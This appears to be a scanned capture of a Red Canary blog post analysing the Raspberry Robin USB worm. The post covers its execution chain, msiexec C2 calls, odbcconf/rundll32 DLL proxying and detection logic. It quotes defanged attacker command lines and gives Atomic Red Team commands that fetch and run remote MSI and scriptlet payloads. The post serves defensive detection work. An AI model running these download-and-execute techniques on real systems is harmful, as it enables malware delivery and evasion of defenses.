redcanary.com Open in urlscan Pro
104.198.136.223  Public Scan

URL: https://redcanary.com/blog/raspberry-robin/?utm_campaign=blog\u0026utm_source=linkedin\u0026utm_medium=social\u0026utm...
Submission: On August 17 via api from DE — Scanned from DE

Form analysis 3 forms found in the DOM

<form id="mktoForm_1034" novalidate="novalidate" class="mktoForm mktoHasWidth mktoLayoutLeft" style="font-family: inherit; font-size: 13px; color: rgb(51, 51, 51); width: 997px;" __bizdiag="1302408230" __biza="WJ__">
  <style type="text/css"></style>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 5px;">
      <div class="mktoOffset" style="width: 5px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="FirstName" id="LblFirstName" class="mktoLabel mktoHasWidth" style="width: 146px;">
          <div class="mktoAsterix">*</div>First Name:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 5px;"></div><input id="FirstName" name="FirstName" placeholder="First Name" maxlength="255" aria-labelledby="LblFirstName InstructFirstName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 342px;"><span id="InstructFirstName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 5px;">
      <div class="mktoOffset" style="width: 5px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="LastName" id="LblLastName" class="mktoLabel mktoHasWidth" style="width: 146px;">
          <div class="mktoAsterix">*</div>Last Name:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 5px;"></div><input id="LastName" name="LastName" placeholder="Last Name" maxlength="255" aria-labelledby="LblLastName InstructLastName" type="text"
          class="mktoField mktoTextField mktoHasWidth mktoRequired" aria-required="true" style="width: 342px;"><span id="InstructLastName" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 5px;">
      <div class="mktoOffset" style="width: 5px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="Email" id="LblEmail" class="mktoLabel mktoHasWidth" style="width: 146px;">
          <div class="mktoAsterix">*</div>Email Address:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 5px;"></div><input id="Email" name="Email" placeholder="Email Address" maxlength="255" aria-labelledby="LblEmail InstructEmail" type="email"
          class="mktoField mktoEmailField mktoHasWidth mktoRequired" aria-required="true" style="width: 342px;"><span id="InstructEmail" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="GCLID__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Country__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Industry__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Location_Type__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Name__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Phone__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Revenue_Range__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Size_Exact__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_State__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Website__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Zipcode__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Confidence_Description__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Confidence_Level__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Enrichment_Status__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Matching_Confidence_Level__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Department__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Email__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_First_Name__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Last_Name__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Level__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Original_Email_Verification__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Phone__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Title__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Verification_Source__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Person_Verification_Status__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="lSSystemStatus" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="lSUpdated" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoFormRow"><input type="hidden" name="LS_Company_Size_Range__c" class="mktoField mktoFieldDescriptor mktoFormCol" value="" style="margin-bottom: 5px;">
    <div class="mktoClear"></div>
  </div>
  <div class="mktoButtonRow"><span class="mktoButtonWrap mktoNative" style="margin-left: 110px;"><button type="submit" class="mktoButton">Subscribe</button></span></div><input type="hidden" name="formid" class="mktoField mktoFieldDescriptor"
    value="1034"><input type="hidden" name="munchkinId" class="mktoField mktoFieldDescriptor" value="003-YRU-314"><input type="hidden" name="mktoUTMSource" class="mktoField mktoFieldDescriptor" value=""><input type="hidden" name="mktoUTMMedium"
    class="mktoField mktoFieldDescriptor" value=""><input type="hidden" name="mktoUTMCampaign" class="mktoField mktoFieldDescriptor" value="blog\u0026utm_source=linkedin\u0026utm_medium=social\u0026utm_content=derivative\n*">
</form>

GET https://redcanary.com/

<form method="get" class="search-form" action="https://redcanary.com/" __bizdiag="115" __biza="WJ__"> <svg width="20" height="19" viewBox="0 0 20 19" fill="none" xmlns="http://www.w3.org/2000/svg">
    <line x1="12.8839" y1="12.1161" x2="18.8839" y2="18.1161" stroke="black" stroke-width="2.5"></line>
    <circle cx="7.5" cy="7.5" r="6.25" stroke="black" stroke-width="2.5"></circle>
  </svg> <input id="input-search" class="search-input" name="s" type="text" placeholder="Search" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"> <input type="submit" class="search-btn" value="Search"></form>

<form novalidate="novalidate" class="mktoForm mktoHasWidth mktoLayoutLeft" style="font-family: inherit; font-size: 13px; color: rgb(51, 51, 51); visibility: hidden; position: absolute; top: -500px; left: -1000px; width: 1600px;"
  __bizdiag="-1062657096" __biza="WJ__"></form>

Text Content

Skip Navigation
Request Demo
Demo
 * What We Do
 * Solutions
 * Resources
 * Partners
 * Company

 * 2022 Threat Detection Report PDF
 * 2022 Executive Summary PDF

 * Intro
 * Past Reports
 * Threats
 * Techniques

 * Introduction
 * Ransomware
 * Supply Chain Compromises
 * Vulnerabilities
 * Affiliates
 * Crypters-as-a-Service
 * Common Webshells

 * User-Initiated Initial Access
 * Malicious macOS Installers
 * Remote Monitoring and Management Abuse
 * Linux Coinminers
 * Abusing Remote Procedure Calls
 * Defense Validation and Testing

 * Top Threats
 * Rose Flamingo
 * Silver Sparrow
 * Bazar
 * Latent Threats
 * Cobalt Strike

 * Impacket
 * SocGholish
 * Yellow Cockatoo
 * Gootkit
 * BloodHound

 * Top Techniques
 * Command and Scripting Interpreter
 * Signed Binary Proxy Execution
 * Windows Management Instrumentation
 * OS Credential Dumping
 * Ingress Tool Transfer

 * Process Injection
 * Scheduled Task/Job
 * Obfuscated Files or Information
 * Masquerading
 * Hijack Execution Flow

 * Managed Detection and Response
 * Integrations
 * The Red Canary Difference
 * Schedule Your Demo

Named a leader in MDR

 * Atomic Red Team™
 * MDR Everywhere
 * MDR for Microsoft
 * Active Remediation

 * Replace your MSSP
 * Post-Breach Response
 * EDR Deployment
 * EDR Migration
 * Linux Security

 * View All Resources
 * Blog
 * Guides & Overviews
 * Case Studies
 * Videos
 * Webinars
 * Events
 * Customer Help Center

Blog

Sharpen your skills with the latest information, security articles, and
insights.

 * Overview
 * Incident Response
 * Insurance & Risk
 * Managed Service Providers
 * Solution Providers
 * Technology Partners

Red Canary Partner Connect

Apply to become a partner.

 * About Us
 * News & Press
 * Careers - We're Hiring!
 * Contact Us
 * Trust Center and Security

Contact Us

How can we help you? Reach out to our team and we'll get in touch.

 * Liner Notes
 * Side 1: Trends
 * Side 2: Threats
 * Bonus Tracks: Techniques

 * What We Do
      What We Do
    * Managed Detection and Response
    * Integrations
    * The Red Canary Difference

 * Solutions
      Solutions
    * Atomic Red Team™
    * MDR Everywhere
    * MDR for Microsoft
    * Active Remediation
    * Replace your MSSP
    * Post-Breach Response
    * EDR Deployment
    * EDR Migration
    * Linux Security

 * Resources
      Resources
    * View All Resources
    * Blog
    * Guides & Overviews
    * Case Studies
    * Videos
    * Webinars
    * Events
    * Customer Help Center

 * Partners
      Partners
    * Overview
    * Incident Response
    * Insurance & Risk
    * Managed Service Providers
    * Solution Providers
    * Technology Partners
    * Apply to Become a Partner

 * Company
      Company
    * About Us
    * News & Press
    * Careers - We're Hiring!
    * Contact Us
    * Trust Center and Security

 
Share
 
 
 
 
 
 
 
 

RESOURCES • BLOG THREAT INTELLIGENCE



RASPBERRY ROBIN GETS THE WORM EARLY

Red Canary is tracking a worm spread by external drives that leverages Windows
Installer to reach out to QNAP-associated domains and download a malicious DLL.

LAUREN PODBER• STEF RAND•

Originally published May 5, 2022. Last modified August 2, 2022.


Over the past several months, Red Canary Intelligence has been tracking a
cluster of malicious activity we call Raspberry Robin. Read on for details on
what Raspberry Robin is, high-fidelity opportunities to detect known behaviors,
and background on how we decided to cluster this activity.

Check out this video update for the latest developments and guidance on how to
test your detection capabilities with Atomic Red Team.

“Raspberry Robin” is Red Canary’s name for a cluster of activity we first
observed in September 2021 involving a worm that is often installed via USB
drive. This activity cluster relies on msiexec.exe to call out to its
infrastructure, often compromised QNAP devices, using HTTP requests that contain
a victim’s user and device names. We also observed Raspberry Robin use TOR exit
nodes as additional command and control (C2) infrastructure.

Like most activity clusters we track, Raspberry Robin began as a handful of
detections with similar characteristics that we saw in multiple customers’
environments, first noticed by Jason Killam from Red Canary’s Detection
Engineering team. We saw Raspberry Robin activity as far back as September 2021,
though most related activity occurred during or after January 2022. As we
observed additional activity, we couldn’t find public reporting to corroborate
our analysis, aside from some findings on VirusTotal that we suspected were
related based on overlap in C2 domains.

To date, we’ve observed Raspberry Robin in organizations with ties to technology
and manufacturing, though it’s not yet clear if there are other links among
victims. We have several intelligence gaps around this cluster, including the
operators’ objectives. While we don’t yet have the full picture, we want to
share what we know about this activity cluster so far to enrich collective
understanding of this threat and empower defenders to identify this activity. We
use the cluster name “Raspberry Robin” to refer to the entire chain of activity
described below, including the initial access method, the worm itself, and the
follow-on execution and C2 activity.

Below we’ve provided a comprehensive analysis of known Raspberry Robin behavior
with corresponding detection opportunities along the way.

 

Figure 1: Raspberry Robin event outline


INITIAL ACCESS

Raspberry Robin is typically introduced via infected removable drives, often USB
devices. The Raspberry Robin worm often appears as a shortcut .lnk file
masquerading as a legitimate folder on the infected USB device.

Soon after the Raspberry Robin infected drive is connected to the system, the
UserAssist registry entry is updated and records execution of a ROT13-ciphered
value referencing a .lnk file when deciphered. In the example below,
q:\erpbirel.yax deciphers to d:\recovery.lnk.

Figure 2: Registry modification with ROT13 .lnk file


EXECUTION

Raspberry Robin first uses cmd.exe to read and execute a file stored on the
infected external drive. The command is consistent across Raspberry Robin
detections we have seen so far, making it reliable early evidence of potential
Raspberry Robin activity. Typically the command line includes cmd /R < to read
and execute a file. The use of cmd /R < is not unique to Raspberry Robin, but
the filename pattern is unique. The filename is made up of five to seven random
alphanumeric characters and a variety of file extensions. Some of the file
extensions we’ve seen include .usb, ico, .lnk, .bin, .sv, and .lo. Additionally,
the command has sometimes included type, which is a built-in command to display
the contents of a file.

Here’s an example of what the whole command might look like:

Figure 3: Raspberry Robin cmd.exe command

Next, cmd.exe typically launches explorer.exe and msiexec.exe. With Raspberry
Robin, explorer.exe’s command line can be a mixed-case reference to an external
device; a person’s name, like LAUREN V; or the name of the .lnk file, like the
figure below. The name here has been modified from the .lnk file name to
LNkFILe. While we aren’t sure of this command’s exact purpose, we’ve
consistently observed it in Raspberry Robin detections.

Figure 4: Mixed-case command referring to device or name

Raspberry Robin extensively uses mixed-case letters in its commands. Adversaries
sometimes use mixed-case syntax in an attempt to evade detection.
Case-sensitive, string-based detections written to detect evil may not fire on
eViL, but cmd.exe is case-insensitive and has the flexibility to read and
process both commands the same way.


COMMAND AND CONTROL (C2)

Let’s look at Raspberry Robin’s msiexec.exe command in detail, since that
informs our first behavior-based detection opportunity.

While msiexec.exe downloads and executes legitimate installer packages,
adversaries also leverage it to deliver malware. Raspberry Robin uses
msiexec.exe to attempt external network communication to a malicious domain for
C2 purposes. The command line has several key features we have seen across
multiple detections:

 * Use of mixed-case syntax (this is yet another example of mixed case use by
   Raspberry Robin)
 * Use of short, recently-registered domains only containing a few characters,
   for example v0[.]cx
 * The domains in our detections hosted QNAP NAS device login pages around the
   time of the Raspberry Robin activity. We hypothesize Raspberry Robin may use
   compromised QNAP devices for C2 infrastructure. The use of (ostensibly)
   compromised QNAP devices for C2 infrastructure is not unique to this activity
   cluster, but we observed operators using these across several Raspberry
   Robin-associated detections.
 * Inclusion of port 8080, a non-standard HTTP web service port, in the URL
 * Inclusion of a string of random alphanumeric characters as the URL
   subdirectory, frequently followed by the victim’s hostname and username

Here is a modified example of a full malicious Raspberry Robin msiexec.exe
command line matching all of the above criteria. The random string has been
modified, and the victim’s host name replaced with HOSTNAME, though the domain
name remains the original one observed.

Figure 5: Malicious Raspberry Robin msiexec.exe command

To detect suspicious use of msiexec.exe by Raspberry Robin or other threats,
it’s essential to take a look at the command line and the URL. Detecting
msiexec.exe making outbound network connections to download and install packages
in the command line interface will give you the opportunity to examine the
activity and determine if it’s malicious or not.

--------------------------------------------------------------------------------


DETECTION OPPORTUNITY: MSIEXEC.EXE DOWNLOADING AND EXECUTING PACKAGES

Identify the use of Windows Installer Tool msiexec.exe to download and execute
packages in the CLI.

process == ('msiexec')
&&
process_command_line_includes == ('http:', 'https:')
&&
process_command_line_includes == ('/q', '-q')

--------------------------------------------------------------------------------


PERSISTENCE

In several Raspberry Robin detections, we have seen msiexec.exe go on to install
a malicious DLL file. At this time we are not certain what the DLL does.. We
suspect it may establish persistence on the victim’s system. In the detections
we saw, the malicious files were created as C:\Windows\Installer\MSI****.tmp
files. In one case, a file with the same hash was also created as
C:\Users\username\AppData\Local\Temp\bznwi.ku.

Examples:

 * C:\Windows\Installer\MSI5C01.tmp
   C:\Users\username\AppData\Local\Temp\bznwi.ku
   
   
   
   * Shared MD5 hash: 6f5ea8383bc3bd07668a7d24fe9b0828
   * VirusTotal example
 * C:\Windows\Installer\MSIE160.tmp
   * MD5 hash: e8f0d33109448f877a0e532b1a27131a
   * VirusTotal example


EXECUTION (AGAIN)

Next, msiexec.exe launches a legitimate Windows utility, fodhelper.exe, which in
turn spawns rundll32.exe to execute a malicious command. Processes launched by
fodhelper.exe run with elevated administrative privileges without requiring a
User Account Control prompt. It is unusual for fodhelper.exe to spawn any
processes as the parent, making this another useful detection opportunity.

--------------------------------------------------------------------------------


DETECTION OPPORTUNITY: FODHELPER.EXE AS A PARENT PROCESS

Identify Windows Features On Demand helper fodhelper.exe creating processes as
the parent.

parent_process == ('fodhelper')

--------------------------------------------------------------------------------

The rundll32.exe command starts another legitimate Windows utility, in this case
odbcconf.exe, and passes in additional commands to execute and configure the
recently-installed malicious DLL bznwi.ku (Hash:
6f5ea8383bc3bd07668a7d24fe9b0828). Here is what that command looks like. (We
modified the random string values in the command, as well as replaced the
victim’s username with username.)

Figure 6: Malicious rundll32.exe command

The -A flag in odbcconf.exe specifies an action. configdriver loads the driver
setup DLL, in this case VKIPDSE. SETFILEDSNDIR creates the registry location
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN\DefaultDSNDir, if it
does not already exist, and specifies the default location used by the ODBC Data
Source Administrator when creating a file-based data source. INSTALLDRIVER adds
additional information about the driver.

In this detection, we saw odbcconf.exe successfully execute the malicious
command. Since odbcconf.exe has a built-in regsvr flag similar to regsvr32.exe,
it can be used by adversaries to execute DLLs and bypass application control
defenses that aren’t monitoring for odbcconf.exe misuse.

--------------------------------------------------------------------------------


DETECTION OPPORTUNITY: ODBCCONF.EXE LOADING .DLLS

Detect the Windows Open Database Connectivity utility loading a configuration
file or DLL. The /A flag specifies an action, /F uses a response file, and /S
runs in silent mode.
Odbcconf.exe running rgsvr actions in silent mode could indicate misuse.

process == ('odbcconf')
&&
process_command_line_includes == ('regsvr)
&&
process_command_line_includes == ('/f', '-f')
||
process_command_line_includes == ('/a', '-a')
||
process_command_line_includes == ('/s', '-s')

--------------------------------------------------------------------------------


C2, PART DEUX

We observed outbound C2 activity involving the processes regsvr32.exe,
rundll32.exe, and dllhost.exe executing without any command-line parameters and
making external network connections to IP addresses associated with TOR nodes.
Additionally, some of the IP addresses in the connections host domains
consisting of random alphanumeric characters. For example,
hxxps[:]//www[.]ivuoq6si2a[.]com/.

This activity presents us with a final detection opportunity. It is atypical for
regsvr32.exe, rundll32.exe and dllhost.exe to execute with no command-line
parameters and establish external network connections. This behavior is not
inherently malicious, but is good to monitor.

--------------------------------------------------------------------------------


DETECTION OPPORTUNITY: NETWORK CONNECTIONS FROM THE COMMAND LINE WITH NO
PARAMETERS

Detect regsvr32.exe, rundll32.exe, and dllhost.exe making external network
connections with an empty command line.

process == ('regsvr32')
||
process == ('rundll32')
||
process == ('dllhost')
&&
process_command_line_contains == (“”)
&&
has_netconnection

*Note: Double Quotes (“”) within the command line means null.

--------------------------------------------------------------------------------




TESTING

Editor’s note: We added the testing section to this article on May 11, 2022 and
updated it on August 2, 2022.

The detection opportunities listed in this article should offer good coverage
against some Raspberry Robin-related techniques. However, it’s hard to know if a
detection analytic is configured or implemented correctly without testing it.
Luckily, we’ve got a few different Atomic Red Team tests that should effectively
emulate the pseudo-detection analytics listed above. Note: Atomic Red Team is an
open source library of tests that security professionals can use to validate
their security controls.


EMULATING COMMAND PROMPT READING AND EXECUTING THE CONTENTS OF A CMD FILE

This atomic was developed specifically to emulate Raspberry Robin. It uses the
“standard-in” command prompt feature (cmd /R <) to read and execute a file via
cmd.exe. Run the following in the Command Prompt:

cmd /r cmd<C:\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd

You can find the test file in the atomics library here.


EMULATING MSIEXEC.EXE DOWNLOADING AND EXECUTING PACKAGES

This following atomic retrieves an arbitrary MSI file from a remote IP address
and executes it. Note that the process is msiexec.exe and that the command line
includes /q and https:—all of the variables mentioned in the above detection
opportunity. Run the following in the Command Prompt:

msiexec.exe /q /i "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.msi"

You can find the test file in the atomics library here.


EMULATING ODBCCONF.EXE LOADING DLLS

The following atomic uses odbcconf.exe to load and execute a locally stored DLL.
Note that the process will be odbcconf.exe and that the command line includes
the /a and /s parameters that the pseudo detection analytic looks for.

odbcconf.exe /S /A {REGSVR "C\AtomicRedTeam\atomics\T1218.008\src\Win32\T1218-2.dll"}

Note that this test includes a prerequisite. You can find detailed instructions
in the T1218.008 atomics folder.


EMULATING NETWORK CONNECTIONS FROM THE COMMAND LINE WITH NO PARAMETERS

The following isn’t a perfect atomic for emulating this detection opportunity,
but it’ll emulate the rundll32.exe process start and the network connection
(albeit with a corresponding command line). Run the following in the Command
Prompt.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct").Exec();

You can find the test file in the atomics library here.

 


INTELLIGENCE GAPS

Several unanswered questions about this cluster remain. First and foremost, we
don’t know how or where Raspberry Robin infects external drives to perpetuate
its activity, though it’s likely this occurs offline or otherwise outside of our
visibility. We also don’t know why Raspberry Robin installs a malicious DLL. One
hypothesis is that it may be an attempt to establish persistence on an infected
system, though additional information is required to build confidence in that
hypothesis.

Perhaps our biggest question concerns the operators’ objectives. Absent
additional information on later-stage activity, it’s difficult to make
inferences on the goal or goals of these campaigns. Despite this, we hope this
information is useful for informing broader efforts to track and better detect
Raspberry Robin activity. We hope to start a conversation that will help the
whole community learn more about this threat. If you’ve been tracking similar
activity, we’d love to hear from you and collaborate. Contact
intel@redcanary.com with any observations or questions.

Thank you to all our contributing researchers who helped make this research
possible, especially Jeff Felling from Red Canary Intelligence and Jason Killam
from Red Canary Detection Engineering.


APPENDIX

As we define parameters for an activity cluster, we map behaviors to MITRE
ATT&CK where applicable and note observables of interest. In some cases, often
with infrastructure and certain adversary decisions, observables associated with
an activity cluster may not neatly map to an ATT&CK technique, and that’s okay.

TacticTechniqueDescriptionObservableTactic:

Initial Access

Technique :

T1091 Replication Through Removable Media

Description:

In some cases, Raspberry Robin was introduced via infected removable drives. In
these instances, the worm appeared as a shortcut (LNK file) masquerading as a
legitimate folder on a USB device

Observable :

e:\removable disk.lnk

Tactic:

Initial Access

Technique :

Description:

explorer.exe with a command line containing a reference to a device or a name

Observable :

ExpLoRER “USB Drive” or EXPLorEr “LAUREN V” or
eXPLOReR LNkFILe

Tactic:

Execution

Technique :

T1059.003 Command and Scripting Interpreter (Windows Command Shell)

Description:

Raspberry Robin uses the “standard-in” command prompt feature cmd/R < to read
and execute a file with a name composed of several seemingly random alphanumeric
characters

Observable :

C:\Windows\system32\cmd.exe” /R CMD<lAkTp.mY0

Tactic:

Defense Evasion

Technique :

Description:

The use of mixed-case letters, which is tradecraft sometimes used by adversaries
to evade defenses (not unique to Raspberry Robin)

Observable :

mSIeXEc, ExpLoRER, or HTtp in a command line

Tactic:

Defense Evasion

Technique :

T1218.008 Signed Binary Proxy Execution: Rundll32
T1218.008 Signed Binary Proxy Execution: Odbcconf

Description:

Raspberry Robin uses legitimate Windows utilities like fodhelper.exe and
odbcconf.exe to proxy DLL file execution with rundll32.exe

Observable :

“RUNDLL32.exe” shell32,ShellExec_RunDLLA “C:\WINDOWS\syswow64\odbcconf.exe” -A
{regsvr “C:\Users\[redacted]\AppData\Local\Temp\bznwi.ku.”} -E -A {configdriver
VKIPDSE} -A {SETFILEDSNDIR fnpawxs PXQAND ofeslkscqqczuaj} -a {INSTALLDRIVER
fqcmypo OGEYSCKXFTBNXAF}

Tactic:

C2

Technique :

T1218.007 Signed Binary Proxy Execution: Msiexec
T1071.001 Application Layer Protocol: Web Protocols

 

 

Description:

Msiexec.exe making external network connections to URLs that include the
victim’s hostname and username

Observable :

msiEXEC /Q -I hXxp://3h[.]WF:8080/ZgMaAJK3xTC/LP079LLP=52284

Tactic:

C2

Technique :

Description:

Recently registered top-level domains with few characters, likely used as C2
infrastructure

Observable :

3h[.]WF or v0[.]cx

Tactic:

C2

Technique :

Description:

Use of infrastructure tied to compromised QNAP NAS devices (not unique to
Raspberry Robin)

Observable :

Tactic:

C2

Technique :

T1218.008 Signed Binary Proxy Execution: Rundll32
T1218.008 Signed Binary Proxy Execution: Regsvr32

 

Description:

rundll32.exe and regsvr32.exe used for C2 communication

Observable :

Look for rundll32.exe and/or regsvr32.exe making external network connections
with no command-line arguments

MORE ON RASPBERRY ROBIN

Watch our security experts break down new developments in Raspberry Robin TTPs,
along with the most helpful Atomic Red Team tests for validating your detection
coverage.

RELATED ARTICLES

Intelligence Insights: July 2022
 
 * Threat intelligence


INTELLIGENCE INSIGHTS: JULY 2022

Intelligence Insights: June 2022
 
 * Threat intelligence


INTELLIGENCE INSIGHTS: JUNE 2022

The myth of “soft skills”: Why intelligence teams need strong communicators
 
 * Threat intelligence


THE MYTH OF “SOFT SKILLS”: WHY INTELLIGENCE TEAMS NEED STRONG COMMUNICATORS

Intelligence Insights: May 2022
 
 * Threat intelligence


INTELLIGENCE INSIGHTS: MAY 2022

SUBSCRIBE TO OUR BLOG

You'll receive a weekly email with our new blog posts.



*
First Name:



*
Last Name:




*
Email Address:
































Subscribe
 


SEE WHAT IT'S LIKE TO HAVE A PARTNER IN THE FIGHT.

EXPERIENCE THE DIFFERENCE BETWEEN A SENSE OF SECURITY AND ACTUAL SECURITY.

Demo
 * 
 * 
 * 


 * What We Do
   * Managed Detection and Response
   * Integrations
   * The Red Canary Difference
   * Request a Demo
 * Solutions
   * Atomic Red Team™
   * MDR Everywhere
   * MDR for Microsoft
   * Active Remediation
   * Replace your MSSP
   * Post-Breach Response
   * EDR Deployment
   * EDR Migration
   * Linux Security
   * Alert Triage
 * Resources
   * View all Resources
   * Blog
   * Guides & Overviews
   * Case Studies
   * Videos
   * Webinars
   * Events
   * Customer Help Center
   * Newsletter
 * Partners
   * Overview
   * Incident Response
   * Insurance & Risk
   * Managed Service Providers
   * Solution Providers
   * Technology Partners
   * Apply to Become a Partner
 * Company
   * About Us
   * News & Press
   * Careers – We’re Hiring!
   * Contact Us
   * Trust Center and Security

© 2014-2022 Red Canary. All rights reserved. info@redcanary.com +1 855-977-0686
Privacy Policy Trust Center and Security

 

 
Our website uses cookies to provide you with a better browsing experience. More
information can be found in our Privacy Policy.
X
Privacy & Cookies Policy
Close

PRIVACY OVERVIEW

This website uses cookies to improve your experience while you navigate through
the website. Out of these cookies, the cookies that are categorized as necessary
are stored on your browser as they are essential for the working of basic
functionalities...
Necessary
Necessary
Always Enabled
Necessary cookies are absolutely essential for the website to function properly.
This category only includes cookies that ensures basic functionalities and
security features of the website. These cookies do not store any personal
information.
Non-necessary
Non-necessary
Any cookies that may not be particularly necessary for the website to function
and is used specifically to collect user personal data via analytics, ads, other
embedded contents are termed as non-necessary cookies. It is mandatory to
procure user consent prior to running these cookies on your website.
SAVE & ACCEPT




Back to Top